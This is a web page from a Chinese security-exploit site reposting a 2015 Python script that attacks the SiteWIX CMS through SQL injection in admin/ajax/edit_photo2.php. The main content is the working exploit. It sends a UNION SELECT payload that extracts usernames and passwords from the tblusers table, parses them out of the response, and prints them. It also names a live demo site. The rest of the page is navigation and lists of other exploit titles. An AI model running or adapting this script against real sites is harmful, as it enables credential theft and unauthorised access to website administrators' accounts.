首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
SiteWIX SQL Injection
来源:zorlu@milw00rm.com 作者:ZoRLu 发布时间:2015-10-27  
#!/usr/bin/env python
#-*- coding:utf-8 -*-

#Title		: SiteWIX - (edit_photo2.php id) SQL Injection Exploit
#Author		: ZoRLu / zorlu@milw00rm.com
#Website	: milw00rm.com / milw00rm.net / milw00rm.org / milw0rm.info
#Twitter	: https://twitter.com/milw00rm or @milw00rm
#Test		: Windows7 Ultimate
#Discovery	: 19/10/15
#Publish	: 20/10/15
#Thks		: exploit-db.com, packetstormsecurity.com, securityfocus.com, 
cxsecurity.com and others
#BkiAdam	: B3mB4m, Dr.Ly0n, KnocKout, LifeSteaLeR
#Firstbug	: https://www.milw00rm.com/exploits/11133 / PrenS
#Proof		: https://www.milw00rm.com/proof/sitewix.jpg
#demo		: http://cesurbranda.com/

import re
import os
import sys
import time
import urllib2


if len(sys.argv) < 2:
     os.system(['clear','cls'][1])
     print " 
____________________________________________________________________"
     print "|                                                             
        |"
     print "|   SiteWIX - (edit_photo2.php id) SQL Injection Exploit      
        |"
     print "|   ZoRLu / milw00rm.com                                      
        |"
     print "|   exploit.py http://site.com/path/                          
        |"
     print 
"|____________________________________________________________________|"
     sys.exit(1)

koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]
if sitemiz[-1:] != koykicina:
    sitemiz += koykicina
if sitemiz[:7]  != koybasina:
    sitemiz =  koybasina + sitemiz
vulnfile = "admin/ajax/edit_photo2.php"
sql = 
"?id=22+union+select+1,2,concat(0x3b3b3b,Password,0x3b3b3b),4,5,concat(0x3a3a3a,Username,0x3a3a3a)+from+tblusers"
url = sitemiz + vulnfile + sql
print "\nExploiting...\n"
try:
     veri = urllib2.urlopen(url).read()
     aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
     if len(aliver) > 0:
         print "username:  " + aliver[0][0] + aliver[0][1] +aliver[0][2]
     else:
         print "Exploit failed..."
except urllib2.HTTPError:
     print "Security!"
try:
     veri = urllib2.urlopen(url).read()
     aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
     if len(aliver) > 0:
         print "password:  " + aliver[0][0] + aliver[0][1] +aliver[0][2]
         print "\nGood Job Bro!"
     else:
         print "Exploit failed..."
except urllib2.HTTPError:
     print "Security!"

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·HandyPassword 4.9.3 SEH Overwr
·HTML Compiler Remote Code Exec
·Avant Browser Lite / Ultimate
·Microsoft Compiled HTML Help R
·Safari User-Assisted Applescri
·Winamp Bento Browser Remote Co
·Windows 10 - pcap Driver Local
·MacOS X 10.11 FTS Buffer Overf
·Easy File Sharing Web Server 7
·MacOS X 10.11 Hardlink Resourc
·The World Browser 3.0 Final -
·Th3 MMA mma.php Backdoor Arbit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved